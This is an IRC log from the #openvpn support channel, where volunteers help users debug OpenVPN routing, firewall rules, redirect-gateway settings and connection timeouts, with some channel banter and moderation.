15:42 < mdev> why would they not have made a beautiful windows UI for openvz in all these years? clearly a great deal of their users are on windows
15:42 < mdev> it's clearly a lack of caring
15:42 < sideone> im researching for a new vpn box. i want to establish ssl tunnels, (no ipsec,gre,etc) .. can openvpn form tunnels from mac, win, android, iphone, linux clients to an openpoint server running on ubuntu?
15:42 < rob0> anyway, it does sound like you want OpenVPN-AS.
15:42 < mdev> sorry mean openvpn, not openvz
15:43 <@pekster> You seem to be confused. OpenVZ is a Linux virt technology. OpenVPN maintains a GUI for Windows already
15:43 <@pekster> Yea
15:43 < mdev> i'm not confused
15:43 -!- mode/#openvpn [-o pekster] by ChanServ
15:43 < rob0> sideone, what is openpoint? openvpn connects to openvpn, period.
15:43 < Tera> mdev: Try OpenVPN-AS as rob0 suggested
15:43 < mdev> i'm saying the openvpn windows GUI client is plain and bare bones, and their could be a lot more effort put into it
15:43 < sideone> sorry s/point/vpn
15:43 <@EugeneKay> they're*
15:44 < mdev> no actually it's there
15:44 < mdev> they're = they are and wouldn't fit
15:44 < sideone> so it connects to openvpn, is it ssl based or does it use another technology? im designing for a road warrior type of setup
15:44 <@EugeneKay> So we've verified that you do know how to speak English
15:44 < rob0> sideone, openvpn on any OS can connect to openvpn on any other OS.
15:44 < Tera> since they also have a commercial product, it would be kinda dumb to make the "free" product too good versus the commercial one
15:44 <@EugeneKay> Try to do it right from the beginning when you're telling people what to do with their work.
15:44 <@EugeneKay> Or else people really won't give two shits about your ideas
15:45 <+pekster> vaillor: I asked you once earlier today: stop asking me personally for help; I'm not interested in your particular problem given your skillset. Next time you highlight or message me with a personal request for help, you will be kicked, and further attempts will result in a ban for a while
15:45 < mdev> EugeneKay i'd imagine you don't
15:45 <@EugeneKay> Oh, vaillor is back? Who let him in?
15:45 <@EugeneKay> pekster - no need to warn :v
15:45 < sideone> rob0; sorry, maybe i am asking wrong. does it form site to site connections or ssl based connections?
15:45 < sideone> s/connections/tunnels
15:45 <+pekster> Meh, I try to be nice unles I'm in a really bad mood; we had a good dev meeting, so I give 2 warnings today ;)
15:46 <@EugeneKay> Warnigns were months ago :-p
15:46 < mdev> if you're referring to me as vaillor, no i'm not a "vaillor", but you seeing as you're itching to ban me, feel free
15:46 <@EugeneKay> No, vaillor is vaillor. You're mdev.
15:46 < rob0> ssl=encryption, "site to site" and "ssl" are not exclusive in any way
15:46 < Tera> pekster: Hopefully something good came out of it! Like.. Re-starting the development of the OpenVPN Desktop Client ;)
15:46 -!- Denial [Denial@94.9.99.190] has quit []
15:46 <@EugeneKay> Patches welcome, or use the -dev chan, or use the mailing list, or..... something.
15:46 < vaillor> EugeneKay: every time I go back, but then I go away again
15:47 < sideone> rob0; argh. ok .. does this product work as site to site or does it work as a client to server type of tunnel?
15:47 < rob0> Either.
15:47 < sideone> awesome.
15:47 < sideone> thanks
15:47 <@EugeneKay> !route
15:47 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
15:47 <@vpnHelper> behind the server or client
15:47 <@EugeneKay> You can do anything at openvpncom
15:47 < vaillor> I come here when I can not solve my problems by myself
15:47 <@EugeneKay> The only limti is your routing table.
15:47 < rob0> And a server/client can also be site-to-site.
15:47 < rob0> Depends how you set up the routing.
15:48 < sideone> rob0; im just making a roadwarrior setup
15:48 < sideone> only allowing routes/fw to a few boxes.
15:48 < Tera> hmm.. can you see what I write
15:48 <+pekster> Tera: That's on the long-term wishlist, including changes to use a service-based model instead of binding instances spawned from the GUI. If you want to learn about the goals, asking in the lower-traffic -devel channel may be more helpful, and more general discussion on how you can help with the code could be done on our mailing lists from sourceforge
15:49 < Tera> pekster: sorry I'm not a coder. Just a server administrator who does what I'm told to do.
15:49 < Tera> + customer fucking support :(
15:50 <+pekster> Part of the problem is people sometimes expect openvpn to "fix their network problems" or "help them design a network topology". That's a network administrator's job, not openvpn ;)
15:50 <+pekster> openvpn is the tool, not the design
15:50  * Tera eyes himself
15:50 <+pekster> Well, yea. Isn't it fun working in IT? :P
15:51 < Tera> heh.. I'm in a such love-hate relationship really. I hate this job, but then in the other hand I couldn't believe doing anything else for the living.
15:52 -!- trumee [~parul@93.186.147.20] has quit [Read error: Connection reset by peer]
15:53  * EugeneKay rolls around in his piles of money
15:53 < Tera> I don't know about the piles of money.. but if I look behind my living room is filled with servers
15:53 < rob0> EugeneKay, you earned those piles in the fire service, right?
15:53 <@EugeneKay> That's recreational.
15:56 < Tera> Ok. Enough talking. It's midnight here in Finland and it's friday-friday tomorrow.
15:56 -!- trumee [~parul@93.186.147.20] has joined #openvpn
15:56 < rob0> good night Tera
15:57 < Tera> :) I go back to my idle corner now.
15:58 <+pekster> mdev: Assuming you're having --redirect-gateway from the server to the client, you do realize what that directive does, yes? And why you loose your ssh session? I'm not sure how OpenVPN could detect, in advance, that doing what it was told to do would break ssh (which isn't related to openvpn.) Is there a simple way this L7 to L7 interaction could be identified in advance that you were expecting?
16:00 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:01 < mdev> yeah is a complicated fix, read about it a moment ago on stackexchange
16:01 < mdev> one recommended setting up seperate network or something
16:01 < vaillor> You were kicked from #openvpn-as by ChanServ (Banned: itsnotthesoftware)
16:01 < mdev> another talking about dynamicdns
16:01 < vaillor> why?
16:02 <@novaflash> because we got fed up with you, go figure.
16:02 < vaillor> but it's been a while..
16:02 <+pekster> mdev: Right, f.ex a VM where you do anything you "want" redirected, while the host OS uses the physical gateway. The alternative to do that on a single system is policy routing, where you have multiple routing tables and define rules to decide where any given packet goes
16:02 <@novaflash> yes, that obviously makes all the difference.
16:04 -!- p3rror [~p3rror@41.248.208.253] has joined #openvpn
16:04 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
16:04 <+pekster> In any case, besides making an openvpn connection, the way to do that is OS/distro specific, and etter asked in a networking channel devoted to your platform (You can try #netfilter for Linux, but there isn't really a great "policy routing" channel on Freenode. The LARTC mailing list is a better choice to reach experts)
16:04 <+pekster> I've dealt with it before, but IMO IRC isn't a great way to teach that to someone
16:06 < vaillor> I mean that's a long time since I do not join that channel, store ban all this time seems exaggerated
16:07 < vaillor> but that's only my point of view
16:07 < rob0> pekster, and one should master basic networking skills before venturing into advanced networking. :)
16:08 <+pekster> Of course. The hammer doesn't know how to build the house by itself
16:08 -!- zhulikas [~meh@78-60-186-41.static.zebra.lt] has quit [Ping timeout: 276 seconds]
16:12 <@EugeneKay> Get a smarter hammer.
16:13 <+pekster> Find me a smarter engineer to build it ;)
16:13  * EugeneKay pulls out his rate-sheet.
16:19 -!- eval- [~stephan@pool-100-1-110-92.nwrknj.fios.verizon.net] has joined #openvpn
16:19 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 268 seconds]
16:19 -!- sideone [~sideone@23.24.175.105] has quit []
16:19 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has quit [Quit: cjs226]
16:20 < eval-> Please forgive my complete noobishness.  I have configured serve/client as here (http://dev.shyd.de/2011/02/dockstar-howto-setup-openvpn-debian/ script:http://projects.doozan.com/usb_lcd/setup_vpn.sh)
16:20 <@vpnHelper> Title: Dockstar: HowTo setup OpenVPN on Debian | developer.shyd.de. (at dev.shyd.de)
16:21 < eval-> I have a basically blank iptables on client and server.. I establish an openvpn connection, the routes look OK, but they cannot ping each other?  I have already done http://openvpn.net/index.php/open-source/faq/79-client/255-qconnection-initiated-with-xxxxq-but-i-cannot-ping-the-server-through-the-vpn.html
16:21 <@vpnHelper> Title: "Connection Initiated with x.x.x.x" but I cannot ping the server through the VPN. (at openvpn.net)
16:22 <+pekster> eval-, what's your overall goal here? Are you just trying to talk between these 2 systems?
16:23 < eval-> pekster: Well I'd eventually like to NAT the client but at first right now I don't understand why they can't even talk to each other
16:23 <+pekster> eval-: Also note that "COnnection Initiated" just means you have started openvpn -- it doesn't mean you have successfully connected. Do you have logs on a pastebin somewhere from the connection attempt?
16:23 <+pekster> Please see this info for getting/posting logs:
16:23 <+pekster> !logs
16:23 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
16:24 < eval-> Should their inet addr & P-t-P on the tun0 be mirror images?
16:24 <+pekster> That depends on configuration
16:24 <+pekster> How about pasting your !configs too, like this:
16:24 <+pekster> !configs
16:24 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
16:24 < mdev> thanks for the help, sorry for the insult, have a nice day
16:24 -!- mdev [~mdev@192.210.213.83] has left #openvpn []
16:25 < eval-> pekster: http://pastebin.com/HDwbHD9b
16:26 < eval-> OK, let me collect these things and increase verbosity 3 to 5.  I'm fairly sure the connection is 'successful' ?
16:26 <+pekster> eval-: Yea, you can use verb 4 actually since you get 'sequence completed'
16:27 <+pekster> Based on that log the connection is set up fine; you should be able to ping 10.8.0.1 if your firewalls allow it
16:28 <+pekster> Check the server firewall if you can't even do that; it's possibly an overly agressive client firewall could also filter the reply if you do such things there, but it's a bit less common for that to be the issue unless grossly misconfigured
16:28 < eval-> Well, my iptables are basically blank on both sides
16:29 <+pekster> Let's start with firewall; if that's a mystery, I'll have you post your configs and logs above
16:29 < eval-> And it's strange since I'm using this script that presumably hundreds of pogoers have
16:29 <+pekster> Pastebin `iptables-save -c` from the server
16:30 < eval-> pekster: http://pastebin.com/FhdYppM5
16:31 < eval-> pekster: client: http://pastebin.com/yUXBtU8k
16:35 <+pekster> eval-: Server's eth0 is the upink, and 10.8.0/24 is your VPN LAN, yes?
16:36 < eval-> pekster: Yes.
16:37 < eval-> pekster: Client gets 10.8.0.10 to PtP 10.8.0.9, server has 10.8.0.1 PtP 10.8.0.2 as seen in ifconfig
16:37 <+pekster> Looks pretty straight forward. No fatal issues with the firewall, but you do have the MASQ entry repeated (pointless, but also harmless.) The fact that your rule on line 18 of the server fw has no packet in the counters means that the server is not getting any of the client ping requests
16:37 <+pekster> Yes, PtP is expected in net30 topology for Unix-alikes. You are pinging 10.8.0.1 from the client, right?
16:37 < eval-> I have tried them all =)
16:37 <+pekster> The .9 IP is not used except as a virtual IP to route to
16:38 <+pekster> Logs from the server at --verb 4 will be helpful. After that (assuming no issues are obvious) you'll need to start using tcpdump to see where/why packets apparently don't make it
16:39 <+pekster> That rule (and its counter) on line 18 is accepting packets coming in on the server's tun* interface, so 0 there means "on packets ever come in". That's bad, if the client is really sending them
16:39 <+pekster> no packets*
16:39 < eval-> Yes.  I left ping 10.8.0.1 open quite a while
16:39 < eval-> So I'm safe to stop worrying my iptables have a secret firewall in them
16:39 < eval-> Problem lies elsewhere?
16:40 <+pekster> Is it using the right interface? Should, with your log, but we can double check with `ip route show` on the client
16:40 <+pekster> You should have 10.8.0.0/24 via 10.8.0.9, and 10.8.0.1/32 via 10.8.0.9
16:41 < eval-> http://pastebin.com/h9xnJ9C7
16:41 < eval-> Yep all those
16:41 < eval-> I have the misfortune of having my real home LAN (client) on 10.8.1 but that shouldn't matter since it's all /24
16:43 <+pekster> Correct, there's no overlap
16:43 <+pekster> Post the server-side log, then do 'the usual' checks with tcpdump
16:44 <+pekster> Follow the packet flow basically. First dump on the client's tun interface & make sure it gets sent with the right IPs. Then dump on the cient physical interface on the port used. Then the server's physical iface & encapsulation port, then finally the server's tun (which is already empty, based on the netfilter paste)
16:44 -!- theY4Kman [~Chaz@199-193-113-145.static.hvvc.us] has quit [Ping timeout: 246 seconds]
16:47 < eval-> pekster: http://pastebin.com/J5fFv7sa
16:47 < eval-> oh gosh I hope it's more obvious then that...
16:48 < eval-> Did you want the .conf?  Or is it obvious from other logs
16:49 -!- `Ile` [~ile@178-222-136-123.dynamic.isp.telekom.rs] has joined #openvpn
16:49 <+pekster> It would help to have them (I need a minute or two to parse the logs anyway, and I need more coffee ;)
16:49 < eval-> I have also tried with proto tcp on both ends
16:51 < eval-> pekster: confs.. http://pastebin.com/Z5G6bnVz
16:51 < eval-> PS.. thanks so much for trying to help!!
16:55 < eval-> lol of course I can't apt-get tcpdump when my vpn is busted ;)
16:55 <+pekster> So, line 664-669 of your server logs show that your client disconnects
16:57 <+pekster> Can you paste client logs at verb 4 as well? There's a reason the UDP connection is refused (ie: your client is _actively_ rejecting it)
16:58 <+pekster> Oh, I bet you're pushing the same route twice
16:58 < eval-> tcpdump on the client shows like a million udp 1194 packets, but not to 10.8.0.[1290] but rather to the actual IP of the server
16:58 <+pekster> eval-: Logs can cofirm this, but you can't both push --redirect-gateway and have your client use it
16:58 < eval-> over tun0
16:58 <+pekster> eval-: Right. 10.8.0.0/24 packets go over tun0
16:59 < eval-> OK.  But in the routing table on the client it's via the PtP IPnot the actual
16:59 <+pekster> I'm betting your client bails out after the push recieved
16:59 < eval-> Righty then, lets get those logs... sorry there's a chain of sshs involved
17:01 < `Ile`> maybe a dumb question but... how can i control the forward chain in vpn, if i remove client-to-client ?
17:02 < eval-> How would I have ended up 'pushing the same route twice' ?
17:02 <+pekster> `Ile`: through your OS firewall, generally netfilter (aka "iptables") on Linux, or PF on the BSDs
17:02 < eval-> push "redirect-gateway local def1"
17:02 < eval-> and redirect-gateway def1
17:02 < eval-> in the two .conf files?
17:02 <+pekster> eval-: You pushed it once from your server via `push` (line 17) and you put it directly on your client (line 39)
17:02 <+pekster> Right
17:02 <+pekster> Pick one, not both
17:02 < `Ile`> pekster... it is kinda weird, coz if i remove client-to-client
17:02 < `Ile`> iptables FORWARD chain gots 0 hit
17:03 <+pekster> eval-: Oh, and remove/comment line 15 as well in your config paste-link
17:03 < `Ile`> with tcpdump i just see ARP request but no answares
17:03 <+pekster> eval-: That route is implied in the --server directive (see the manpage for details)
17:03 < `Ile`> ip_forward is enabled...
17:03 <+pekster> eval-: Oh, I'm sorry, it isn't since you're using net30 topo (the default.) Nevermind, you can leave that one in :)
17:04 <+pekster> `Ile`: Are you bridging? We don't recommend that because it's more complicated and usually unnecessary. Please see:
17:04 < eval-> pekster: I was about to say, its at the bottom of this: projects.doozan.com/usb_lcd/setup_vpn.sh
17:04 <+pekster> !tunortap
17:04 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
17:04 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
17:04 < eval-> pekster: And I'm fairly sure it hasn't changed in years and people would have noticed if totally broken
17:04 <+pekster> eval-: We don't support guides/blogs/random-scripts
17:05 <+pekster> Again, logs to show why your client is actively rejecting the connection are required
17:07 < eval-> pekster: http://pastebin.com/fPDwGYYZ
17:09 <+pekster> eval-, did you wait 120 seconds before sending that log? It doesn't contain the disconnect that the server is getting, and eventually the client should time out due to --ping and --ping-restart, but it'll take 2 minutes with your config (120 seconds)
17:09 <+pekster> I need to see why the client terminates the connection
17:09 < eval-> pekster: sorry OK will do
17:09 <+pekster> If it's still up, just wait until it pings out and update the log post
17:10 < eval-> had to take it down to get the log out
17:10 < eval-> Can I PM you?
17:13 < `Ile`> thx pekster
17:14 <+pekster> `Ile`: Sure. If you don't need bridging (most people don't) try starting with the official setup guide in the !howto link (type "!howto" to get a reference)
17:15 -!- lns [~lns@pdpc/supporter/professional/lns] has joined #openvpn
17:15 < lns> Any suggestions for someone who can connect to OpenVPN server, can ping machines on the remote subnet, but cannot connect via any other method (ssh, http, rdp)?
17:19 <+pekster> lns, you get a ping reply from the target machine's IP, right (not an icmp error from the router or something?) If so, sounds like a firewall issue
17:19 -!- Sazpaimon_ [wat@96.227.217.235] has quit [Changing host]
17:19 -!- Sazpaimon_ [wat@unaffiliated/Sazpaimon] has joined #openvpn
17:22 < eval-> pekster: Should I be concerned about any of the DISABLED at the top of the client log?
17:23 <+pekster> eval-: No, that's all normal. The odd bit to me is that it appears to be a normal timeout from the client-side. If you `tcpdump -pni eth0 udp port 1194` from the client, do you see _inbound_ UDP packets every 10 seconds from the server's IP to your client physical IP?
17:23 < eval-> Will check.  I am also more willing to blame the server
17:24 <+pekster> As configure, once the big mess of handshakes is all done, you should get a single packet in each directio every 10 seconds. Don't do pings across the tunnel while you test this
17:24 <+pekster> (since pings will generate more udp traffic across your link)
17:25 <+pekster> eval-: The only other "odd" thing to me is is using --ping-timer-rem on the server. You might try restarting the server without that
17:25 < eval-> pekster: Yes, I see them incoming... not exactly every 10, like 6-11s
17:25 <+pekster> The server is smart enough not to "restart itself" when there are no clients attached
17:26 < lns> pekster, yes that is correct. I get real icmp replies
17:27 <+pekster> lns: Yea, firewall then (since you know the return-routing is fine.) Fire up tcpdump and "go fishing" for the bad point dropping them. Could be the VPN server, the target IP, or the default gateway of your target
17:27 <+pekster> (or possibly your VPN client, but that's usually less common)
17:27 < lns> ty pekster i'll try that
17:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:27 < eval-> pekster: Does the fact it's sometimes 4, sometimes 14 sec pings from the server matter?
17:27 <+pekster> eval-: One other note: I see W's in the verb 5 output, but no R's. This means it's "not receiving anything from the UDP socket"
17:28 < eval-> pekster: How do I remove this ping timer rem?  And there is the very very rare R yes
17:29 <+pekster> Not after your "initialization sequence"
17:29 <+pekster> Just comment it out in the server config
17:29 < eval-> Yes trust me... because I had screen and saw them scroll so rarely
17:31 <+pekster> Hmm, just 1 in your log output
17:31 < eval-> line 314: col 3794
17:31 <+pekster> That's very likely the symptom of your problem. The real question is "why doesn't openvpn get the return packe"
17:31 <+pekster> Yea, but it's supposed to get them as often as it sends one
17:31 < eval-> From watching it scroll by I'm sure there's more than one, but yes, it's on in a 1000
17:32 <+pekster> What is the client? A physical or VM?
17:32 < eval-> A physical, debian jessie on ARM
17:32 < eval-> Behind a dd-wrt which has never blocked other VPNs from working in the household
17:32 <+pekster> I'm almost out of ideas on this one
17:33 -!- dt [~david.tho@24.137.192.78] has joined #openvpn
17:33 -!- dt [~david.tho@24.137.192.78] has left #openvpn []
17:33 < eval-> There is a lot of UDP traffic in the tcpdump before the 'session established'
17:33 <@EugeneKay> Alcohol is a good idea
17:33 <+pekster> Right, that's the TLS handshake and initial negotiation of options
17:33 < eval-> I'll gladly provide beer to whomever solves this
17:34 <+pekster> EugeneKay: Honestly, it couldn't hurt now. Maybe some single malt scotch in my glass fixes this? :P
17:34 < eval-> Actually I should just go home and test whether this server works on a normal desktop
17:34 <@EugeneKay> I'm about to go to a fire meeting, or I'd read into the problem
17:34 <+pekster> That might not be a bad idea, because somehow, someway, the application isn't getting any of the outside (the UDP-wrapped) packets
17:35 <+pekster> It prints an 'R' for every one received, but you don't get them (or get just "1" which isn't enough.) The client assumes the VPN link is dead if it doesn't get them in 120 seconds, which sounds like what is happening
17:35 <@EugeneKay> Maybe in 2 hours
17:36 <+pekster> So, as I see it, one of 3 things is happening: 1) the keepalive packet isn't arriving, and whatever you're seeing on the link isn't a valid keepalive packet. 2) The packet does arrive, but isn't send to the application layer. 3) an application and/or compiler bug. I really don't believe #3 that much, but "it's possible"
17:36 <@EugeneKay> Hmac involved?
17:36 <+pekster> No --tls-auth, no
17:36 <@EugeneKay> Hm.
17:37 <+pekster> Configs here: http://pastebin.com/raw.php?i=Z5G6bnVz
17:37 <+pekster> Only weird bit AFAICT is --ping-timer-rem, and since it's the client timing out, that can't be it. tcpdump on the client watching udp port 1194 trafic shows a stream of server-generated UDP traffic every 4-11 seconds (looks valid)
17:37 <@EugeneKay> Stateful firewall?
17:38 <+pekster> Not on the client, no (full open netfilter rules) and if it was upstream the UDP packets wouldn't come to the client
17:38 <@EugeneKay> Interesting
17:38 <@EugeneKay> No idea
17:38 <+pekster> Yes, very.
17:38 <@EugeneKay> Except, as before, booze
17:38 <+pekster> Thanks for double-checking (I've been known to miss the "is it turned on" things before, on a blue mooon)
17:39 <+pekster> I think that covers all the "normal" posabilities
17:39 <@EugeneKay>  too obvious to forget
17:39 <@EugeneKay> What's the os?
17:39 <+pekster> A few jobs ago I had someone at a remote site call my cell saying that the network was down; turns out half their office lost power (they all knew it) including the main router/switch closet (but her PC was still on)
17:40 < eval-> Server is debian squeeze 2.6 on a seagate dockstar (kirkwood)
17:40 <@EugeneKay> Lulz
17:40 < eval-> Client is debian jessie 3.10 on a raspberry pi
17:40 < eval-> Now trying with debian wheezy 3.6 on another raspberry pi
17:40 < eval-> Same problem
17:40 <@EugeneKay> Ah, pi.
17:41 <@EugeneKay> Best i can think is something in the stripped kernel they use
17:41 < eval-> EugeneKay: OK that motivates me to go home (its after midnight) even though I have no beer left :p
17:41 <@EugeneKay> But i must run now. good luck!
17:41 < eval-> We'll see if a desktop ubuntu fares better...
17:41 < eval-> Thanks!
17:43 < eval-> The 3.10 kernel was rebuilt with basically every network ip forwarding masquerating nat etc thing I could find.. the 3.6 is the stock that everyone uses...
17:53 -!- `Ile` [~ile@178-222-136-123.dynamic.isp.telekom.rs] has quit [Ping timeout: 264 seconds]
18:01 < lns> pekster, ty very much, it was definitely a workstation-level issue, not openvpn (rdp auth was set too high for linux-based clients, as well as other issues that made it seem that ping was the only thing that worked, but in essence was a barrage of other misc. issues preventing connection)
18:12 <+pekster> lns: np. You'll notice our /topic hints that problems are often firewalls too, since there are often so many of them and they tend to be complicated, like most networking tasks
18:12 <+pekster> We should just go back to writing with sticks in the dirt. Life was easier then
18:13 < eval-> pekster: this is super weird... its like there is already something 10.8.0.x on my subnet
18:14 < eval-> pekster: it doesn't appear anywhere in the ifconfig our route of my dd-wrt
18:14 <+pekster> The UDP packets come to your physical IP, not virtual one
18:14 <+pekster> This is what generates the W and R (upper-case) in verb 5
18:14 <+pekster> w/r is tun writes & reads
18:15 < eval-> I though 10.8.x.x was internal, am I wrong?
18:15 -!- theY4Kman [~Chaz@pool-72-77-187-14.tampfl.fios.verizon.net] has joined #openvpn
18:15 <+pekster> 10.8.0.0/24 is your VPN, and IIRC 10.8.1.0/24 was your physical LAN, right?
18:15 <+pekster> The similarity doesn't matter; they are distinct networks
18:15 < eval-> But they are NOT on the real internet, right?
18:16 < eval-> Why do I have a traceroute tha tshows them going to my ISP?
18:16 < eval-> I PMd you it
18:16 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:18 <+pekster> So those are going out your physical link (your first hop is 10.8.1.1, not the VPN range
18:18 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 245 seconds]
18:19 <+pekster> Does `ip route get 10.8.0.1` return the expected "tun0 via 10.8.0.9" reply?
18:19 <+pekster> And is this still the routing table, exactly? http://pastebin.com/raw.php?i=h9xnJ9C7
18:19 <+pekster> The only issue in your case is that when your client times out, the routes "go down" for a bit until the VPN comes backup, so you have flapping routes
18:20 < eval-> pekster: I'm now home, failing on the *third* client I'm trying, an ubuntu desktop
18:20 <+pekster> Packets get routed to the place the routing table tells them to
18:22 < eval-> pekster: I just didn't realize the private block 10.8. would get routed to my ISP's servers, I thought it was like 172.16/20 and 192.168/16
18:23 <+pekster> 1) it's 172.16/12, and 2) what's that got to do with anything? Packets don't know about RFCs, but they know about the routing table
18:23 <+pekster> Hence why you need to use `ip route get <TARGET_IP>` to find out where a packet for a particular place would go
18:24 < eval-> pekster: agreed, it should have nothing to do with our problem... it was just a surprise to see unexpected ping replies
18:24 <+pekster> Ah, true. "something" past that 4th hop apparently has that IP
18:25 <+pekster> It's generally a misconfiguration on their network to leak RFC1918 like that, but it's upstream of your public IP so it's "not your problem"
18:25 < eval-> nmap things it's probably a juniper or enterasys switch
18:26 -!- andrusha97_ [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
18:27 < eval-> pekster: yes 10.8.0.1via 10.8.0.9 dev tun0  src 10.8.0.10
18:27 < eval-> pekster: I know to ignore the bogus 10.8.0.1 replies that gave me 'hope'
18:28 < eval-> pekster: That 3 clients have failed makes me wonder if this isn't server side?  Let me try a random public openvpn
18:29  * pekster shrugs. I dunno, and I don't have anything else that's useful for you right now
18:29 <+pekster> Packets should never go where the routing table doesn't explicitly send them. Policy routing can define multiple tables, but there's still a rule and a route that matches every single packet that gets routed
18:30 -!- p3rror [~p3rror@41.248.208.253] has quit [Ping timeout: 260 seconds]
18:32 < eval-> OK, random VPN server works fine.  Slow, but fine
18:32 -!- mdev [~mdev@192.210.213.83] has joined #openvpn
18:33 <+pekster> eval-: Looks a lot like my first guess is true: the packet arriving may be malformed or otherwise not-properly formatted as a keepalive. Who knows, maybe the server build of openvpn or its kernel is somehow buggy
18:37 < eval-> pekster: ok, I will try to reconfig the server, maybe update the package or something.  FWIW this random vpn server does NOT seem accessible from my raspberry pis =(  broken on both ends?  well, there I can ping parts of the host subnet, just not past it.  fml
18:40 < eval-> oh no, it's just dns... phew
18:44 < eval-> pekster: the server says this  us=581831 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)
18:44 < eval-> pekster: at those 10s intervals
18:45 -!- mattsl [~user@c-76-114-70-198.hsd1.tn.comcast.net] has joined #openvpn
18:45 < eval-> Oh ok, not really, there are still plenty of disconnects without those in the logs
18:52 -!- LargePrime [~LargePrim@unaffiliated/largeprime] has joined #openvpn
18:59 < LargePrime> Dear Friends!  I have a hosted Dedicatd server that i installed OpenVPN on for a friend working in china.  We tested in the US when he was here, and it worked.  Now it dont, of course.  Thoughts on what i did wrong?
19:00 < mattsl> Can anyone recommend a way to get OpenVPN working in bridge mode on a virtualized machine?
19:00 < mattsl> Specifically, I have a Proxmox server, but I'm willing to consider other options if neeeded.
19:13 -!- s7r` [s7r@109.99.157.72] has joined #openvpn
19:14 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
19:14 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-gfsyttqsypjransg] has quit [Read error: Connection reset by peer]
19:14 -!- s7r` [s7r@109.99.157.72] has quit [Client Quit]
19:14 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-xaqsywnppxlredef] has joined #openvpn
19:16 -!- s7r [s7r@openvpn/user/s7r] has quit [Ping timeout: 246 seconds]
19:23 < LargePrime> Ima be back later.  Sorry
19:24 -!- LargePrime [~LargePrim@unaffiliated/largeprime] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 23.0.1/20130814063812]]
19:29 < eval-> pekster: so the new openvpn/ssl from wheezy --force(fully) merged into my system takes MUCH longer to generate the dh if that's any clue or just an odd fluke
20:02 < eval-> pekster: changing push "redirect-gateway local def1" to push "redirect-gateway def1 bypass-dhcp"
20:02 < eval-> pekster: solved all my problems?  I also changed the IP block and took out lzo, upgraded so much, blaaaa
20:04  * EugeneKay yawns
20:04 <@EugeneKay> Any luck, eval?
20:07 < eval-> EugeneKay: Yeah... .. next to last line to pekster
20:07 < eval-> EugeneKay: Discovered that pings to 10.8.0.x can end up somewhere at my ISP, 'sweet'
20:07 <@EugeneKay> I've never used the local flag.
20:07 < eval-> EugeneKay: So now I want DNS to be the router on my vpn server subnet and I think I can sleep (it's 3am)
20:10 < eval-> Anyone know whether you can do VPN over ssl (443 or 8443) and get through your (crazy) orgs firewalls?
20:12 <@EugeneKay> Sure; openvpn doesn't care about ports
20:13 <@EugeneKay> If your org's firewall is doing intelligent TLS interception it will choke on openvpn, because even in TCP mode it's a differnt handshake from HTTPS
20:13 < eval-> I'm wondering if their firewalls are smart
20:13 < eval-> Yeah
20:13 <@EugeneKay> One way to find out ;-)
20:13 <@EugeneKay> I have listeners on UDP:1194 and TCP:1194, then redirects from UDP:53 and TCP:443 upwards
20:13 < eval-> I'm getting MULTI: bad source address from client [eth0 IP here] ... dropped at the server
20:14 <@EugeneKay> Preference on my laptop is UDP 1194, UDP 53, TCP 1194, TCP 443.
20:14 < eval-> What is UDP 53?
20:14 <@EugeneKay> DNS.
20:14 < eval-> Ahh
20:14 <@EugeneKay> Random high ports such as 10,xxx work well. They're used by SIP.
20:17 < eval-> EugeneKay: is "dhcp-option DNS 192.168.1.1" all I should need besides the 192.168 route & masquerade (I can ping 192.168.1.1 from the VPN'd client) in order to get the DNS server set on the client side?
20:17 <@EugeneKay> Your client needs to do something with it
20:17 < eval-> nslookup works if I type 'server 192.168.1.1' myself and then query
20:18 <@EugeneKay> On WIndows this is handled automagically
20:18 <@EugeneKay> On linux there's an update-resolv-conf script(I think it's included in most OS packages)
20:18 < eval-> so there's no automagic resolv.conf updating as with dhcp
20:18 -!- raidz is now known as raidz_away
20:19 < vaillor> if i can connect but i can't ping server, what is the first step i need to do?
20:20 < eval-> vaillor: cry and find valium.  (I asked your question 6hrs ago.. now I think I sorta have it half work)
20:20 < eval-> vaillor: also, paste your .conf and log level 4 and rely on the kindness of strangers
20:21 < vaillor> http://nopaste.info/22826419f6.html
20:25 -!- Poster|x is now known as Poster
20:26 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has quit [Ping timeout: 245 seconds]
20:50 -!- lns [~lns@pdpc/supporter/professional/lns] has quit [Quit: Leaving]
